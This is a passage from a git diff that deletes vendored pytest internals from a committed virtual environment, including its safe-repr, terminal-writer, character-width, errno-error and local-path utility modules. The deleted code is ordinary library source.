repr(current) diff --git a/backend/venv/Lib/site-packages/_pytest/_io/saferepr.py b/backend/venv/Lib/site-packages/_pytest/_io/saferepr.py deleted file mode 100644 index cee70e33..00000000 --- a/backend/venv/Lib/site-packages/_pytest/_io/saferepr.py +++ /dev/null @@ -1,130 +0,0 @@ -from __future__ import annotations - -import pprint -import reprlib - - -def _try_repr_or_str(obj: object) -> str: - try: - return repr(obj) - except (KeyboardInterrupt, SystemExit): - raise - except BaseException: - return f'{type(obj).__name__}("{obj}")' - - -def _format_repr_exception(exc: BaseException, obj: object) -> str: - try: - exc_info = _try_repr_or_str(exc) - except (KeyboardInterrupt, SystemExit): - raise - except BaseException as inner_exc: - exc_info = f"unpresentable exception ({_try_repr_or_str(inner_exc)})" - return ( - f"<[{exc_info} raised in repr()] {type(obj).__name__} object at 0x{id(obj):x}>" - ) - - -def _ellipsize(s: str, maxsize: int) -> str: - if len(s) > maxsize: - i = max(0, (maxsize - 3) // 2) - j = max(0, maxsize - 3 - i) - return s[:i] + "..." + s[len(s) - j :] - return s - - -class SafeRepr(reprlib.Repr): - """ - repr.Repr that limits the resulting size of repr() and includes - information on exceptions raised during the call. - """ - - def __init__(self, maxsize: int | None, use_ascii: bool = False) -> None: - """ - :param maxsize: - If not None, will truncate the resulting repr to that specific size, using ellipsis - somewhere in the middle to hide the extra text. - If None, will not impose any size limits on the returning repr. - """ - super().__init__() - # ``maxstring`` is used by the superclass, and needs to be an int; using a - # very large number in case maxsize is None, meaning we want to disable - # truncation. - self.maxstring = maxsize if maxsize is not None else 1_000_000_000 - self.maxsize = maxsize - self.use_ascii = use_ascii - - def repr(self, x: object) -> str: - try: - if self.use_ascii: - s = ascii(x) - else: - s = super().repr(x) - except (KeyboardInterrupt, SystemExit): - raise - except BaseException as exc: - s = _format_repr_exception(exc, x) - if self.maxsize is not None: - s = _ellipsize(s, self.maxsize) - return s - - def repr_instance(self, x: object, level: int) -> str: - try: - s = repr(x) - except (KeyboardInterrupt, SystemExit): - raise - except BaseException as exc: - s = _format_repr_exception(exc, x) - if self.maxsize is not None: - s = _ellipsize(s, self.maxsize) - return s - - -def safeformat(obj: object) -> str: - """Return a pretty printed string for the given object. - - Failing __repr__ functions of user instances will be represented - with a short exception info. - """ - try: - return pprint.pformat(obj) - except Exception as exc: - return _format_repr_exception(exc, obj) - - -# Maximum size of overall repr of objects to display during assertion errors. -DEFAULT_REPR_MAX_SIZE = 240 - - -def saferepr( - obj: object, maxsize: int | None = DEFAULT_REPR_MAX_SIZE, use_ascii: bool = False -) -> str: - """Return a size-limited safe repr-string for the given object. - - Failing __repr__ functions of user instances will be represented - with a short exception info and 'saferepr' generally takes - care to never raise exceptions itself. - - This function is a wrapper around the Repr/reprlib functionality of the - stdlib. - """ - return SafeRepr(maxsize, use_ascii).repr(obj) - - -def saferepr_unlimited(obj: object, use_ascii: bool = True) -> str: - """Return an unlimited-size safe repr-string for the given object. - - As with saferepr, failing __repr__ functions of user instances - will be represented with a short exception info. - - This function is a wrapper around simple repr. - - Note: a cleaner solution would be to alter ``saferepr``this way - when maxsize=None, but that might affect some other code. - """ - try: - if use_ascii: - return ascii(obj) - return repr(obj) - except Exception as exc: - return _format_repr_exception(exc, obj) diff --git a/backend/venv/Lib/site-packages/_pytest/_io/terminalwriter.py b/backend/venv/Lib/site-packages/_pytest/_io/terminalwriter.py deleted file mode 100644 index 70ebd3d0..00000000 --- a/backend/venv/Lib/site-packages/_pytest/_io/terminalwriter.py +++ /dev/null @@ -1,274 +0,0 @@ -"""Helper functions for writing to terminals and files.""" - -from __future__ import annotations - -import os -import shutil -import sys -from typing import final -from typing import Literal -from typing import Sequence -from typing import TextIO -from typing import TYPE_CHECKING - -from ..compat import assert_never -from .wcwidth import wcswidth - - -if TYPE_CHECKING: - from pygments.formatter import Formatter - from pygments.lexer import Lexer - - -# This code was initially copied from py 1.8.1, file _io/terminalwriter.py. - - -def get_terminal_width() -> int: - width, _ = shutil.get_terminal_size(fallback=(80, 24)) - - # The Windows get_terminal_size may be bogus, let's sanify a bit. - if width < 40: - width = 80 - - return width - - -def should_do_markup(file: TextIO) -> bool: - if os.environ.get("PY_COLORS") == "1": - return True - if os.environ.get("PY_COLORS") == "0": - return False - if os.environ.get("NO_COLOR"): - return False - if os.environ.get("FORCE_COLOR"): - return True - return ( - hasattr(file, "isatty") and file.isatty() and os.environ.get("TERM") != "dumb" - ) - - -@final -class TerminalWriter: - _esctable = dict( - black=30, - red=31, - green=32, - yellow=33, - blue=34, - purple=35, - cyan=36, - white=37, - Black=40, - Red=41, - Green=42, - Yellow=43, - Blue=44, - Purple=45, - Cyan=46, - White=47, - bold=1, - light=2, - blink=5, - invert=7, - ) - - def __init__(self, file: TextIO | None = None) -> None: - if file is None: - file = sys.stdout - if hasattr(file, "isatty") and file.isatty() and sys.platform == "win32": - try: - import colorama - except ImportError: - pass - else: - file = colorama.AnsiToWin32(file).stream - assert file is not None - self._file = file - self.hasmarkup = should_do_markup(file) - self._current_line = "" - self._terminal_width: int | None = None - self.code_highlight = True - - @property - def fullwidth(self) -> int: - if self._terminal_width is not None: - return self._terminal_width - return get_terminal_width() - - @fullwidth.setter - def fullwidth(self, value: int) -> None: - self._terminal_width = value - - @property - def width_of_current_line(self) -> int: - """Return an estimate of the width so far in the current line.""" - return wcswidth(self._current_line) - - def markup(self, text: str, **markup: bool) -> str: - for name in markup: - if name not in self._esctable: - raise ValueError(f"unknown markup: {name!r}") - if self.hasmarkup: - esc = [self._esctable[name] for name, on in markup.items() if on] - if esc: - text = "".join(f"\x1b[{cod}m" for cod in esc) + text + "\x1b[0m" - return text - - def sep( - self, - sepchar: str, - title: str | None = None, - fullwidth: int | None = None, - **markup: bool, - ) -> None: - if fullwidth is None: - fullwidth = self.fullwidth - # The goal is to have the line be as long as possible - # under the condition that len(line) <= fullwidth. - if sys.platform == "win32": - # If we print in the last column on windows we are on a - # new line but there is no way to verify/neutralize this - # (we may not know the exact line width). - # So let's be defensive to avoid empty lines in the output. - fullwidth -= 1 - if title is not None: - # we want 2 + 2*len(fill) + len(title) <= fullwidth - # i.e. 2 + 2*len(sepchar)*N + len(title) <= fullwidth - # 2*len(sepchar)*N <= fullwidth - len(title) - 2 - # N <= (fullwidth - len(title) - 2) // (2*len(sepchar)) - N = max((fullwidth - len(title) - 2) // (2 * len(sepchar)), 1) - fill = sepchar * N - line = f"{fill} {title} {fill}" - else: - # we want len(sepchar)*N <= fullwidth - # i.e. N <= fullwidth // len(sepchar) - line = sepchar * (fullwidth // len(sepchar)) - # In some situations there is room for an extra sepchar at the right, - # in particular if we consider that with a sepchar like "_ " the - # trailing space is not important at the end of the line. - if len(line) + len(sepchar.rstrip()) <= fullwidth: - line += sepchar.rstrip() - - self.line(line, **markup) - - def write(self, msg: str, *, flush: bool = False, **markup: bool) -> None: - if msg: - current_line = msg.rsplit("\n", 1)[-1] - if "\n" in msg: - self._current_line = current_line - else: - self._current_line += current_line - - msg = self.markup(msg, **markup) - - try: - self._file.write(msg) - except UnicodeEncodeError: - # Some environments don't support printing general Unicode - # strings, due to misconfiguration or otherwise; in that case, - # print the string escaped to ASCII. - # When the Unicode situation improves we should consider - # letting the error propagate instead of masking it (see #7475 - # for one brief attempt). - msg = msg.encode("unicode-escape").decode("ascii") - self._file.write(msg) - - if flush: - self.flush() - - def line(self, s: str = "", **markup: bool) -> None: - self.write(s, **markup) - self.write("\n") - - def flush(self) -> None: - self._file.flush() - - def _write_source(self, lines: Sequence[str], indents: Sequence[str] = ()) -> None: - """Write lines of source code possibly highlighted. - - Keeping this private for now because the API is clunky. We should discuss how - to evolve the terminal writer so we can have more precise color support, for example - being able to write part of a line in one color and the rest in another, and so on. - """ - if indents and len(indents) != len(lines): - raise ValueError( - f"indents size ({len(indents)}) should have same size as lines ({len(lines)})" - ) - if not indents: - indents = [""] * len(lines) - source = "\n".join(lines) - new_lines = self._highlight(source).splitlines() - for indent, new_line in zip(indents, new_lines): - self.line(indent + new_line) - - def _get_pygments_lexer(self, lexer: Literal["python", "diff"]) -> Lexer | None: - try: - if lexer == "python": - from pygments.lexers.python import PythonLexer - - return PythonLexer() - elif lexer == "diff": - from pygments.lexers.diff import DiffLexer - - return DiffLexer() - else: - assert_never(lexer) - except ModuleNotFoundError: - return None - - def _get_pygments_formatter(self) -> Formatter | None: - try: - import pygments.util - except ModuleNotFoundError: - return None - - from _pytest.config.exceptions import UsageError - - theme = os.getenv("PYTEST_THEME") - theme_mode = os.getenv("PYTEST_THEME_MODE", "dark") - - try: - from pygments.formatters.terminal import TerminalFormatter - - return TerminalFormatter(bg=theme_mode, style=theme) - - except pygments.util.ClassNotFound as e: - raise UsageError( - f"PYTEST_THEME environment variable has an invalid value: '{theme}'. " - "Hint: See available pygments styles with `pygmentize -L styles`." - ) from e - except pygments.util.OptionError as e: - raise UsageError( - f"PYTEST_THEME_MODE environment variable has an invalid value: '{theme_mode}'. " - "The allowed values are 'dark' (default) and 'light'." - ) from e - - def _highlight( - self, source: str, lexer: Literal["diff", "python"] = "python" - ) -> str: - """Highlight the given source if we have markup support.""" - if not source or not self.hasmarkup or not self.code_highlight: - return source - - pygments_lexer = self._get_pygments_lexer(lexer) - if pygments_lexer is None: - return source - - pygments_formatter = self._get_pygments_formatter() - if pygments_formatter is None: - return source - - from pygments import highlight - - highlighted: str = highlight(source, pygments_lexer, pygments_formatter) - # pygments terminal formatter may add a newline when there wasn't one. - # We don't want this, remove. - if highlighted[-1] == "\n" and source[-1] != "\n": - highlighted = highlighted[:-1] - - # Some lexers will not set the initial color explicitly - # which may lead to the previous color being propagated to the - # start of the expression, so reset first. - highlighted = "\x1b[0m" + highlighted - - return highlighted diff --git a/backend/venv/Lib/site-packages/_pytest/_io/wcwidth.py b/backend/venv/Lib/site-packages/_pytest/_io/wcwidth.py deleted file mode 100644 index 23886ff1..00000000 --- a/backend/venv/Lib/site-packages/_pytest/_io/wcwidth.py +++ /dev/null @@ -1,57 +0,0 @@ -from __future__ import annotations - -from functools import lru_cache -import unicodedata - - -@lru_cache(100) -def wcwidth(c: str) -> int: - """Determine how many columns are needed to display a character in a terminal. - - Returns -1 if the character is not printable. - Returns 0, 1 or 2 for other characters. - """ - o = ord(c) - - # ASCII fast path. - if 0x20 <= o < 0x07F: - return 1 - - # Some Cf/Zp/Zl characters which should be zero-width. - if ( - o == 0x0000 - or 0x200B <= o <= 0x200F - or 0x2028 <= o <= 0x202E - or 0x2060 <= o <= 0x2063 - ): - return 0 - - category = unicodedata.category(c) - - # Control characters. - if category == "Cc": - return -1 - - # Combining characters with zero width. - if category in ("Me", "Mn"): - return 0 - - # Full/Wide east asian characters. - if unicodedata.east_asian_width(c) in ("F", "W"): - return 2 - - return 1 - - -def wcswidth(s: str) -> int: - """Determine how many columns are needed to display a string in a terminal. - - Returns -1 if the string contains non-printable characters. - """ - width = 0 - for c in unicodedata.normalize("NFC", s): - wc = wcwidth(c) - if wc < 0: - return -1 - width += wc - return width diff --git a/backend/venv/Lib/site-packages/_pytest/_py/__init__.py b/backend/venv/Lib/site-packages/_pytest/_py/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/_pytest/_py/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/_py/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 256cb13c..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/_py/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/_py/__pycache__/error.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/_py/__pycache__/error.cpython-311.pyc deleted file mode 100644 index 47ee0d19..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/_py/__pycache__/error.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/_py/__pycache__/path.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/_py/__pycache__/path.cpython-311.pyc deleted file mode 100644 index 89ed45bf..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/_py/__pycache__/path.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/_py/error.py b/backend/venv/Lib/site-packages/_pytest/_py/error.py deleted file mode 100644 index ab3a4ed3..00000000 --- a/backend/venv/Lib/site-packages/_pytest/_py/error.py +++ /dev/null @@ -1,111 +0,0 @@ -"""create errno-specific classes for IO or os calls.""" - -from __future__ import annotations - -import errno -import os -import sys -from typing import Callable -from typing import TYPE_CHECKING -from typing import TypeVar - - -if TYPE_CHECKING: - from typing_extensions import ParamSpec - - P = ParamSpec("P") - -R = TypeVar("R") - - -class Error(EnvironmentError): - def __repr__(self) -> str: - return "{}.{} {!r}: {} ".format( - self.__class__.__module__, - self.__class__.__name__, - self.__class__.__doc__, - " ".join(map(str, self.args)), - # repr(self.args) - ) - - def __str__(self) -> str: - s = "[{}]: {}".format( - self.__class__.__doc__, - " ".join(map(str, self.args)), - ) - return s - - -_winerrnomap = { - 2: errno.ENOENT, - 3: errno.ENOENT, - 17: errno.EEXIST, - 18: errno.EXDEV, - 13: errno.EBUSY, # empty cd drive, but ENOMEDIUM seems unavailable - 22: errno.ENOTDIR, - 20: errno.ENOTDIR, - 267: errno.ENOTDIR, - 5: errno.EACCES, # anything better? -} - - -class ErrorMaker: - """lazily provides Exception classes for each possible POSIX errno - (as defined per the 'errno' module). All such instances - subclass EnvironmentError. - """ - - _errno2class: dict[int, type[Error]] = {} - - def __getattr__(self, name: str) -> type[Error]: - if name[0] == "_": - raise AttributeError(name) - eno = getattr(errno, name) - cls = self._geterrnoclass(eno) - setattr(self, name, cls) - return cls - - def _geterrnoclass(self, eno: int) -> type[Error]: - try: - return self._errno2class[eno] - except KeyError: - clsname = errno.errorcode.get(eno, "UnknownErrno%d" % (eno,)) - errorcls = type( - clsname, - (Error,), - {"__module__": "py.error", "__doc__": os.strerror(eno)}, - ) - self._errno2class[eno] = errorcls - return errorcls - - def checked_call( - self, func: Callable[P, R], *args: P.args, **kwargs: P.kwargs - ) -> R: - """Call a function and raise an errno-exception if applicable.""" - __tracebackhide__ = True - try: - return func(*args, **kwargs) - except Error: - raise - except OSError as value: - if not hasattr(value, "errno"): - raise - errno = value.errno - if sys.platform == "win32": - try: - cls = self._geterrnoclass(_winerrnomap[errno]) - except KeyError: - raise value - else: - # we are not on Windows, or we got a proper OSError - cls = self._geterrnoclass(errno) - - raise cls(f"{func.__name__}{args!r}") - - -_error_maker = ErrorMaker() -checked_call = _error_maker.checked_call - - -def __getattr__(attr: str) -> type[Error]: - return getattr(_error_maker, attr) # type: ignore[no-any-return] diff --git a/backend/venv/Lib/site-packages/_pytest/_py/path.py b/backend/venv/Lib/site-packages/_pytest/_py/path.py deleted file mode 100644 index c7ab1182..00000000 --- a/backend/venv/Lib/site-packages/_pytest/_py/path.py +++ /dev/null @@ -1,1475 +0,0 @@ -# mypy: allow-untyped-defs -"""local path implementation.""" - -from __future__ import annotations - -import atexit -from contextlib import contextmanager -import fnmatch -import importlib.util -import io -import os -from os.path import abspath -from os.path import dirname -from os.path import exists -from os.path import isabs -from os.path import isdir -from os.path import isfile -from os.path import islink -from os.path import normpath -import posixpath -from stat import S_ISDIR -from stat import S_ISLNK -from stat import S_ISREG -import sys -from typing import Any -from typing import Callable -from typing import cast -from typing import Literal -from typing import overload -from typing import TYPE_CHECKING -import uuid -import warnings - -from . import error - - -# Moved from local.py. -iswin32 = sys.platform == "win32" or (getattr(os, "_name", False) == "nt") - - -class Checkers: - _depend_on_existence = "exists", "link", "dir", "file" - - def __init__(self, path): - self.path = path - - def dotfile(self): - return self.path.basename.startswith(".") - - def ext(self, arg): - if not arg.startswith("."): - arg = "." + arg - return self.path.ext == arg - - def basename(self, arg): - return self.path.basename == arg - - def basestarts(self, arg): - return self.path.basename.startswith(arg) - - def relto(self, arg): - return self.path.relto(arg) - - def fnmatch(self, arg): - return self.path.fnmatch(arg) - - def endswith(self, arg): - return str(self.path).endswith(arg) - - def _evaluate(self, kw): - from .._code.source import getrawcode - - for name, value in kw.items(): - invert = False - meth = None - try: - meth = getattr(self, name) - except AttributeError: - if name[:3] == "not": - invert = True - try: - meth = getattr(self, name[3:]) - except AttributeError: - pass - if meth is None: - raise TypeError(f"no {name!r} checker available for {self.path!r}") - try: - if getrawcode(meth).co_argcount > 1: - if (not meth(value)) ^ invert: - return False - else: - if bool(value) ^ bool(meth()) ^ invert: - return False - except (error.ENOENT, error.ENOTDIR, error.EBUSY): - # EBUSY feels not entirely correct, - # but its kind of necessary since ENOMEDIUM - # is not accessible in python - for name in self._depend_on_existence: - if name in kw: - if kw.get(name): - return False - name = "not" + name - if name in kw: - if not kw.get(name): - return False - return True - - _statcache: Stat - - def _stat(self) -> Stat: - try: - return self._statcache - except AttributeError: - try: - self._statcache = self.path.stat() - except error.ELOOP: - self._statcache = self.path.lstat() - return self._statcache - - def dir(self): - return S_ISDIR(self._stat().mode) - - def file(self): - return S_ISREG(self._stat().mode) - - def exists(self): - return self._stat() - - def link(self): - st = self.path.lstat() - return S_ISLNK(st.mode) - - -class NeverRaised(Exception): - pass - - -class Visitor: - def __init__(self, fil, rec, ignore, bf, sort): - if isinstance(fil, str): - fil = FNMatcher(fil) - if isinstance(rec, str): - self.rec: Callable[[LocalPath], bool] = FNMatcher(rec) - elif not hasattr(rec, "__call__") and rec: - self.rec = lambda path: True - else: - self.rec = rec - self.fil = fil - self.ignore = ignore - self.breadthfirst = bf - self.optsort = cast(Callable[[Any], Any], sorted) if sort else (lambda x: x) - - def gen(self, path): - try: - entries = path.listdir() - except self.ignore: - return - rec = self.rec - dirs = self.optsort( - [p for p in entries if p.check(dir=1) and (rec is None or rec(p))] - ) - if not self.breadthfirst: - for subdir in dirs: - yield from self.gen(subdir) - for p in self.optsort(entries): - if self.fil is None or self.fil(p): - yield p - if self.breadthfirst: - for subdir in dirs: - yield from self.gen(subdir) - - -class FNMatcher: - def __init__(self, pattern): - self.pattern = pattern - - def __call__(self, path): - pattern = self.pattern - - if ( - pattern.find(path.sep) == -1 - and iswin32 - and pattern.find(posixpath.sep) != -1 - ): - # Running on Windows, the pattern has no Windows path separators, - # and the pattern has one or more Posix path separators. Replace - # the Posix path separators with the Windows path separator. - pattern = pattern.replace(posixpath.sep, path.sep) - - if pattern.find(path.sep) == -1: - name = path.basename - else: - name = str(path) # path.strpath # XXX svn? - if not os.path.isabs(pattern): - pattern = "*" + path.sep + pattern - return fnmatch.fnmatch(name, pattern) - - -def map_as_list(func, iter): - return list(map(func, iter)) - - -class Stat: - if TYPE_CHECKING: - - @property - def size(self) -> int: ... - - @property - def mtime(self) -> float: ... - - def __getattr__(self, name: str) -> Any: - return getattr(self._osstatresult, "st_" + name) - - def __init__(self, path, osstatresult): - self.path = path - self._osstatresult = osstatresult - - @property - def owner(self): - if iswin32: - raise NotImplementedError("XXX win32") - import pwd - - entry = error.checked_call(pwd.getpwuid, self.uid) # type:ignore[attr-defined,unused-ignore] - return entry[0] - - @property - def group(self): - """Return group name of file.""" - if iswin32: - raise NotImplementedError("XXX win32") - import grp - - entry = error.checked_call(grp.getgrgid, self.gid) # type:ignore[attr-defined,unused-ignore] - return entry[0] - - def isdir(self): - return S_ISDIR(self._osstatresult.st_mode) - - def isfile(self): - return S_ISREG(self._osstatresult.st_mode) - - def islink(self): - self.path.lstat() - return S_ISLNK(self._osstatresult.st_mode) - - -def getuserid(user): - import pwd - - if not isinstance(user, int): - user = pwd.getpwnam(user)[2] # type:ignore[attr-defined,unused-ignore] - return user - - -def getgroupid(group): - import grp - - if not isinstance(group, int): - group = grp.getgrnam(group)[2] # type:ignore[attr-defined,unused-ignore] - return group - - -class LocalPath: - """Object oriented interface to os.path and other local filesystem - related information. - """ - - class ImportMismatchError(ImportError): - """raised on pyimport() if there is a mismatch of __file__'s""" - - sep = os.sep - - def __init__(self, path=None, expanduser=False): - """Initialize and return a local Path instance. - - Path can be relative to the current directory. - If path is None it defaults to the current working directory. - If expanduser is True, tilde-expansion is performed. - Note that Path instances always carry an absolute path. - Note also that passing in a local path object will simply return - the exact same path object. Use new() to get a new copy. - """ - if path is None: - self.strpath = error.checked_call(os.getcwd) - else: - try: - path = os.fspath(path) - except TypeError: - raise ValueError( - "can only pass None, Path instances " - "or non-empty strings to LocalPath" - ) - if expanduser: - path = os.path.expanduser(path) - self.strpath = abspath(path) - - if sys.platform != "win32": - - def chown(self, user, group, rec=0): - """Change ownership to the given user and group. - user and group may be specified by a number or - by a name. if rec is True change ownership - recursively. - """ - uid = getuserid(user) - gid = getgroupid(group) - if rec: - for x in self.visit(rec=lambda x: x.check(link=0)): - if x.check(link=0): - error.checked_call(os.chown, str(x), uid, gid) - error.checked_call(os.chown, str(self), uid, gid) - - def readlink(self) -> str: - """Return value of a symbolic link.""" - # https://github.com/python/mypy/issues/12278 - return error.checked_call(os.readlink, self.strpath) # type: ignore[arg-type,return-value,unused-ignore] - - def mklinkto(self, oldname): - """Posix style hard link to another name.""" - error.checked_call(os.link, str(oldname), str(self)) - - def mksymlinkto(self, value, absolute=1): - """Create a symbolic link with the given value (pointing to another name).""" - if absolute: - error.checked_call(os.symlink, str(value), self.strpath) - else: - base = self.common(value) - # with posix local paths '/' is always a common base - relsource = self.__class__(value).relto(base) - reldest = self.relto(base) - n = reldest.count(self.sep) - target = self.sep.join(("..",) * n + (relsource,)) - error.checked_call(os.symlink, target, self.strpath) - - def __div__(self, other): - return self.join(os.fspath(other)) - - __truediv__ = __div__ # py3k - - @property - def basename(self): - """Basename part of path.""" - return self._getbyspec("basename")[0] - - @property - def dirname(self): - """Dirname part of path.""" - return self._getbyspec("dirname")[0] - - @property - def purebasename(self): - """Pure base name of the path.""" - return self._getbyspec("purebasename")[0] - - @property - def ext(self): - """Extension of the path (including the '.').""" - return self._getbyspec("ext")[0] - - def read_binary(self): - """Read and return a bytestring from reading the path.""" - with self.open("rb") as f: - return f.read() - - def read_text(self, encoding): - """Read and return a Unicode string from reading the path.""" - with self.open("r", encoding=encoding) as f: - return f.read() - - def read(self, mode="r"): - """Read and return a bytestring from reading the path.""" - with self.open(mode) as f: - return f.read() - - def readlines(self, cr=1): - """Read and return a list of lines from the path. if cr is False, the - newline will be removed from the end of each line.""" - mode = "r" - - if not cr: - content = self.read(mode) - return content.split("\n") - else: - f = self.open(mode) - try: - return f.readlines() - finally: - f.close() - - def load(self): - """(deprecated) return object unpickled from self.read()""" - f = self.open("rb") - try: - import pickle - - return error.checked_call(pickle.load, f) - finally: - f.close() - - def move(self, target): - """Move this path to target.""" - if target.relto(self): - raise error.EINVAL(target, "cannot move path into a subdirectory of itself") - try: - self.rename(target) - except error.EXDEV: # invalid cross-device link - self.copy(target) - self.remove() - - def fnmatch(self, pattern): - """Return true if the basename/fullname matches the glob-'pattern'. - - valid pattern characters:: - - * matches everything - ? matches any single character - [seq] matches any character in seq - [!seq] matches any char not in seq - - If the pattern contains a path-separator then the full path - is used for pattern matching and a '*' is prepended to the - pattern. - - if the pattern doesn't contain a path-separator the pattern - is only matched against the basename. - """ - return FNMatcher(pattern)(self) - - def relto(self, relpath): - """Return a string which is the relative part of the path - to the given 'relpath'. - """ - if not isinstance(relpath, (str, LocalPath)): - raise TypeError(f"{relpath!r}: not a string or path object") - strrelpath = str(relpath) - if strrelpath and strrelpath[-1] != self.sep: - strrelpath += self.sep - # assert strrelpath[-1] == self.sep - # assert strrelpath[-2] != self.sep - strself = self.strpath - if sys.platform == "win32" or getattr(os, "_name", None) == "nt": - if os.path.normcase(strself).startswith(os.path.normcase(strrelpath)): - return strself[len(strrelpath) :] - elif strself.startswith(strrelpath): - return strself[len(strrelpath) :] - return "" - - def ensure_dir(self, *args): - """Ensure the path joined with args is a directory.""" - return self.ensure(*args, dir=True) - - def bestrelpath(self, dest): - """Return a string which is a relative path from self - (assumed to be a directory) to dest such that - self.join(bestrelpath) == dest and if not such - path can be determined return dest. - """ - try: - if self == dest: - return os.curdir - base = self.common(dest) - if not base: # can be the case on windows - return str(dest) - self2base = self.relto(base) - reldest = dest.relto(base) - if self2base: - n = self2base.count(self.sep) + 1 - else: - n = 0 - lst = [os.pardir] * n - if reldest: - lst.append(reldest) - target = dest.sep.join(lst) - return target - except AttributeError: - return str(dest) - - def exists(self): - return self.check() - - def isdir(self): - return self.check(dir=1) - - def isfile(self): - return self.check(file=1) - - def parts(self, reverse=False): - """Return a root-first list of all ancestor directories - plus the path itself. - """ - current = self - lst = [self] - while 1: - last = current - current = current.dirpath() - if last == current: - break - lst.append(current) - if not reverse: - lst.reverse() - return lst - - def common(self, other): - """Return the common part shared with the other path - or None if there is no common part. - """ - last = None - for x, y in zip(self.parts(), other.parts()): - if x != y: - return last - last = x - return last - - def __add__(self, other): - """Return new path object with 'other' added to the basename""" - return self.new(basename=self.basename + str(other)) - - def visit(self, fil=None, rec=None, ignore=NeverRaised, bf=False, sort=False): - """Yields all paths below the current one - - fil is a filter (glob pattern or callable), if not matching the - path will not be yielded, defaulting to None (everything is - returned) - - rec is a filter (glob pattern or callable) that controls whether - a node is descended, defaulting to None - - ignore is an Exception class that is ignoredwhen calling dirlist() - on any of the paths (by default, all exceptions are reported) - - bf if True will cause a breadthfirst search instead of the - default depthfirst. Default: False - - sort if True will sort entries within each directory level. - """ - yield from Visitor(fil, rec, ignore, bf, sort).gen(self) - - def _sortlist(self, res, sort): - if sort: - if hasattr(sort, "__call__"): - warnings.warn( - DeprecationWarning( - "listdir(sort=callable) is deprecated and breaks on python3" - ), - stacklevel=3, - ) - res.sort(sort) - else: - res.sort() - - def __fspath__(self): - return self.strpath - - def __hash__(self): - s = self.strpath - if iswin32: - s = s.lower() - return hash(s) - - def __eq__(self, other): - s1 = os.fspath(self) - try: - s2 = os.fspath(other) - except TypeError: - return False - if iswin32: - s1 = s1.lower() - try: - s2 = s2.lower() - except AttributeError: - return False - return s1 == s2 - - def __ne__(self, other): - return not (self == other) - - def __lt__(self, other): - return os.fspath(self) < os.fspath(other) - - def __gt__(self, other): - return os.fspath(self) > os.fspath(other) - - def samefile(self, other): - """Return True if 'other' references the same file as 'self'.""" - other = os.fspath(other) - if not isabs(other): - other = abspath(other) - if self == other: - return True - if not hasattr(os.path, "samefile"): - return False - return error.checked_call(os.path.samefile, self.strpath, other) - - def remove(self, rec=1, ignore_errors=False): - """Remove a file or directory (or a directory tree if rec=1). - if ignore_errors is True, errors while removing directories will - be ignored. - """ - if self.check(dir=1, link=0): - if rec: - # force remove of readonly files on windows - if iswin32: - self.chmod(0o700, rec=1) - import shutil - - error.checked_call( - shutil.rmtree, self.strpath, ignore_errors=ignore_errors - ) - else: - error.checked_call(os.rmdir, self.strpath) - else: - if iswin32: - self.chmod(0o700) - error.checked_call(os.remove, self.strpath) - - def computehash(self, hashtype="md5", chunksize=524288): - """Return hexdigest of hashvalue for this file.""" - try: - try: - import hashlib as mod - except ImportError: - if hashtype == "sha1": - hashtype = "sha" - mod = __import__(hashtype) - hash = getattr(mod, hashtype)() - except (AttributeError, ImportError): - raise ValueError(f"Don't know how to compute {hashtype!r} hash") - f = self.open("rb") - try: - while 1: - buf = f.read(chunksize) - if not buf: - return hash.hexdigest() - hash.update(buf) - finally: - f.close() - - def new(self, **kw): - """Create a modified version of this path. - the following keyword arguments modify various path parts:: - - a:/some/path/to/a/file.ext - xx drive - xxxxxxxxxxxxxxxxx dirname - xxxxxxxx basename - xxxx purebasename - xxx ext - """ - obj = object.__new__(self.__class__) - if not kw: - obj.strpath = self.strpath - return obj - drive, dirname, basename, purebasename, ext = self._getbyspec( - "drive,dirname,basename,purebasename,ext" - ) - if "basename" in kw: - if "purebasename" in kw or "ext" in kw: - raise ValueError(f"invalid specification {kw!r}") - else: - pb = kw.setdefault("purebasename", purebasename) - try: - ext = kw["ext"] - except KeyError: - pass - else: - if ext and not ext.startswith("."): - ext = "." + ext - kw["basename"] = pb + ext - - if "dirname" in kw and not kw["dirname"]: - kw["dirname"] = drive - else: - kw.setdefault("dirname", dirname) - kw.setdefault("sep", self.sep) - obj.strpath = normpath("{dirname}{sep}{basename}".format(**kw)) - return obj - - def _getbyspec(self, spec: str) -> list[str]: - """See new for what 'spec' can be.""" - res = [] - parts = self.strpath.split(self.sep) - - args = filter(None, spec.split(",")) - for name in args: - if name == "drive": - res.append(parts[0]) - elif name == "dirname": - res.append(self.sep.join(parts[:-1])) - else: - basename = parts[-1] - if name == "basename": - res.append(basename) - else: - i = basename.rfind(".") - if i == -1: - purebasename, ext = basename, "" - else: - purebasename, ext = basename[:i], basename[i:] - if name == "purebasename": - res.append(purebasename) - elif name == "ext": - res.append(ext) - else: - raise ValueError(f"invalid part specification {name!r}") - return res - - def dirpath(self, *args, **kwargs): - """Return the directory path joined with any given path arguments.""" - if not kwargs: - path = object.__new__(self.__class__) - path.strpath = dirname(self.strpath) - if args: - path = path.join(*args) - return path - return self.new(basename="").join(*args, **kwargs) - - def join(self, *args: os.PathLike[str], abs: bool = False) -> LocalPath: - """Return a new path by appending all 'args' as path - components. if abs=1 is used restart from root if any - of the args is an absolute path. - """ - sep = self.sep - strargs = [os.fspath(arg) for arg in args] - strpath = self.strpath - if abs: - newargs: list[str] = [] - for arg in reversed(strargs): - if isabs(arg): - strpath = arg - strargs = newargs - break - newargs.insert(0, arg) - # special case for when we have e.g. strpath == "/" - actual_sep = "" if strpath.endswith(sep) else sep - for arg in strargs: - arg = arg.strip(sep) - if iswin32: - # allow unix style paths even on windows. - arg = arg.strip("/") - arg = arg.replace("/", sep) - strpath = strpath + actual_sep + arg - actual_sep = sep - obj = object.__new__(self.__class__) - obj.strpath = normpath(strpath) - return obj - - def open(self, mode="r", ensure=False, encoding=None): - 